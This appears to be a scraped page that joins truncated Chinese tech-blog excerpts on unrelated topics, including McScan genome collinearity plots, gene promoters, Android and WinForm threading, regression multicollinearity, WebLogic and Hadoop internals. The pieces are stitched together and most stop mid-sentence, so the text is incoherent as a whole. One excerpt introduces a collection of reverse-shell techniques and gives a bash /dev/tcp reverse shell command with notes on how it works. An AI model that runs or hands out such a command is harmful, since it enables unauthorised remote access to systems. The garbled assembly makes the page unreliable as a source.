目录 软件的安装 基因组的准备 一些细节 建议和示例 软件的安装 Python版McScan(jcvi工具包):https://github.com/tanghaibao/jcvi 以前只有python2,现在已有python3版本,建议用py3.安装可用pip: pip install jcvi ##或开发版 pip install git+git://github.com/tanghaibao/jcvi.git pip可能会安装很慢.建议还是用conda,要快很多,最好新建环境. conda

启动子 http://baike.baidu.com/link?url=HMqaMY4mXusH--4hMu1p6P_XUzEve9lZhFGtxScnbb8Z9HaLYJ981eWxAuZt2iAP   启动子是位于结构基因5'端上游的DNA序列,能活化RNA聚合酶,使之与模板DNA准确的结合并具有转录起始的特异性. 起始时间和表达的程度.启动子(Promoters)就像“开关”,决定基因的活动.既然基因是成序列的核苷酸(nucleotides),那么启动子也应由DNA组成.启动子本身并不控制

      我们知道在Android中,要更新UI只能在UI主线程去更新,而不允许在子线程直接去操作UI,但是很多时候,很多耗时的工作都交给子线程去实现,当子线程执行完这些耗时的工作后,我们希望去修改UI,但Android中又不允许在子线程中去直接修改UI,如:在子线程中执行从服务器下载一张图片的任务,下载完成后,希望这张图片显示一个ImageView上,在子线程中又不能直接操作ImageView,这怎么办呢?我们只能把这张图片发送给UI主线程,然后在主线程中去显示这张图片.为了能够实现这种子线

欢迎关注博主主页,学习python视频资源,还有大量免费python经典文章 sklearn实战-乳腺癌细胞数据挖掘 https://study.163.com/course/introduction.htm?courseId=1005269003&utm_campaign=commission&utm_source=cp-400000000398149&utm_medium=share 在一个回归方程中,假如两个或两个以上解释变量彼此高度相关,那么回归分析的结果将有可能无法分清每

ORF和CDS的区别 ORF的英文展开是open reading frame(开放阅读框). CDS的英文展开是coding sequences (编码区). CDS:DNA转录成mRNA,mRNA经剪接等加工后翻译出蛋白质,所谓CDS就是与蛋白质序列一 一对应的DNA序列,且该序列中间不含其它非该蛋白质对应的序列,不考虑mRNA加工等过程中的序列变化,总之,就是与蛋白质的密码子完全对应. ORF:理论上的氨基酸编码区,一般是在分析DNA核酸图谱中(主要是利用电脑程序)得到的.程序会自动在DNA

sklearn实战-乳腺癌细胞数据挖掘(博客主亲自录制视频教程) https://study.163.com/course/introduction.htm?courseId=1005269003&utm_campaign=commission&utm_source=cp-400000000398149&utm_medium=share   多元共线性 在一个回归方程中,假如两个或两个以上解释变量彼此高度相关,那么回归分析的结果将有可能无法分清每一个变量与因变量之间的真实关系.例如

启动普通子Activity: 一个activity启动另一个activity最简单的方式是使用 startActivity(Intent) 方法: public void startActivity(Intent intent) activity调用 startActivity 方法时,调用请求实际发给了操作系统的 ActivityManager ,ActivityManager 负责创建 Activity 实例,并调用其 onCreate 方法. ActivityManager 根据 star

最近有个需求需要画如下的图: 这些图的核心意思是一样的,就是connection,把不同的数据连到一起. 文章里把这图叫做共线性图,是按功能命名的,Google里搜不到. 搜到类似的,这个图叫 Parallel Coordinates Plot,但显然有些丑陋. Parallel Coordinates Plot in R matloff/parcoordtutorial origin里把它叫做Parallel plot,显然快接近我想要的了. 最终根据Google image的类似推送,终于找

R语言建立回归分析,并利用VIF查看共线性问题的例子 使用R对内置longley数据集进行回归分析,如果以GNP.deflator作为因变量y,问这个数据集是否存在多重共线性问题?应该选择哪些变量参与回归? >>>> 答 ## 查看longley的数据结构 str(longley) ## 'data.frame':    16 obs. of  7 variables: ##  $ GNP.deflator: num  83 88.5 88.2 89.5 96.2 ... ##  

比较基因组学中,共线性的分析的图无疑是最漂亮的. 共线性分析可以很好地解释进化关系和多倍化事件. 本文主要介绍的是唐老师的Python版McScan(jcvi工具包),这个包很强大,但是其功能在官网的说明并不详细,在众人的博客中也比较零散. 我刚使用这个包的时候(2017年)还很难安装,需要预装各种依赖,不过现在的同学们很幸福了,可以直接用pip一键安装了. 软件包链接:https://github.com/tanghaibao/jcvi 安装过程很简单: pip install jcvi pi

经过几轮调试和修改,共线性图终于可以上眼了.如下: 图中红色的为目标基因,蓝色的为reference species目标基因周围15个基因,天蓝色为再往外15个基因,黄色为与reference species存在的共线性,灰色为相邻物种间的共线性. 标注有物种信息,scaffold信息,并用颜色加以区分物种的不同属性. 最后一章的代码和思路更新见公众号. 接下来公众号将继续更新R画图和文献等内容.

软件简介 MCScanX工具集对MCScan算法进行了调整,用于检测共线性和同线性区域,还增加了可视化和下游分析..MCscanX有三个核心工具,以及12个下游分析工具. 软件安装 进入官网http://chibba.pgml.uga.edu/mcscan2/#tm,下载安装 1 unzip MCscanX.zip 2 cd MCScanX 3 make 软件使用 所需要文件 两个或多个物种的gff文件,蛋白序列(** 该软件最多能做5个物种的共线性) 第一步:构建索引,进行blastp比对 注

本来是不会再写这个文档的,但是由于长时间没有用这个模块,这个模块不知道是我自己弄掉了,还是别的同学误删了,于是我重新安装一下. 首先下载conda,并下载好python which pip 直接安装 注意: 1. 请下载conda3版本,本模块由python3支持: 2. home目录和电脑C盘一样,如果home空间有限,请安装在其他目录下: 3. 将python执行路劲写进bashrc(类似Windows的注册表) 等着就行了: 其他模块自己安装就行了(Knet tools, Bedtools

基因 (鉴定DNA:可以直接利用DNA序列鉴别基因,但存在3个问题) 1.intron太长(使用用来连接的算法不可及) 2.因为通常功能基因的第一个oxen中有非编码区和启动子最后一个oxen中有终止子和非编码区,但是有些功能基因的第一个oxen或最后一个oxen只有非编码区,这样就很难识别 3.假基因(pseudogene):通常是有功能的序列突变而成的无功能序列,在鉴定时会被误认为是有功能的序列(特别是具有相对完整编码序列同时具有突变转录信号的假基因) (鉴定mRNA:因为鉴定基因是否具有功

WebLogic 中间件: 是基础软件的一大类,属于可复用软件的范畴,顾名思义,中间件属于操作系统软件与应用软件的中间,比如:JDK,框架,weblogic. weblogic与tomcat区别 : 1.weblogic支持EJB规范,全面支持出了J2EE之外的其他规范,Web Service,SSL,xml等规范. 2.完善的售后服务. 3.集群机制,支持分布式应用. 4.热部署新的web,ejb应用. 32位的weblogic不能配64位的jdk 安装 : 1.32位的11g weblogi

在上面一节我们分析了JobTracker调用JobQueueTaskScheduler进行任务分配,JobQueueTaskScheduler又调用JobInProgress按照一定顺序查找任务的流程,获得了任务之后,将任务封装为TaskTrackerAction数组返回的整个过程.TaskTracker通过心跳响应接收到了这个数组.本节我们继续分析,TaskTracker拿到了这个数组之后,如何对任务进行处理的. 1,TaskTracker在其方法offerService中,将得到的任务加入队

上一篇实现了在MFC的窗体内显示图片,本篇介绍如何在MFC窗体内实时显示摄像头的影像. 要实现的功能是点击一个“开始”按钮,可以显示影像,再点击“停止”按钮,可以停止显示. 因为实时显示影像需要在一个循环里执行,为了在显示影像的同时还可以干别的(比如,点击“停止”按钮),这里需要用到多线程,即显示影像的代码放到子线程中,与主线程并发执行. 重点已经说清楚了,下面是开发步骤: 1.先把Halcon中实时显示的程序搞定 2.Halcon代码导出为C++代码 3.建立MFC工程 4.在MFC中添加Ha

[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里shell由bash解析,有时候是由sh解析,不一定百发百中***在虚拟机里面试过可行,替换成自己的地址和端口即可******/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用******由于其特殊性,命令执行后依旧无法找到/dev/tcp目

1. 在使用单例模式时一般使用allocWithZone 因为alloc最终还是会调用allocWithZone进行分配空间 2. synchronized 线程锁(互斥锁) 优点:能防止多线程抢夺资源造成的数据安全问题 缺点:需要消耗大量的CPU资源 3. GCD的队列类型 并发队列:自己创建的,全局 串行队列:主队列,自己创建的 4. NSOperationQueue的队列类型 1.主队列[NSOperationQueue mainQueue] 2.其他队列(串行,并发):[[NSOpera

当进行winform的开发时,经常遇到用时比较久的操作,在传统的单线程程序中,用户必须等待这个耗时操作完成以后才能进行下一步的操作,这个时候,多线程编程就派上用场了,将这个耗时的操作放到一个新的子线程中,启动子线程完成操作,而不影响主线程的正常工作. 那么这个时候问题来了,当在子线程中需要操作界面上控件的参数时就不能简单的操作控件参数了,因为这会引起跨线程安全错误(子线程不是控件的初始化线程),具体原因不多讲,下面讲一下怎么解决子线程操作主线程控件的问题: 具体代码如下: //0初始:1导入2暂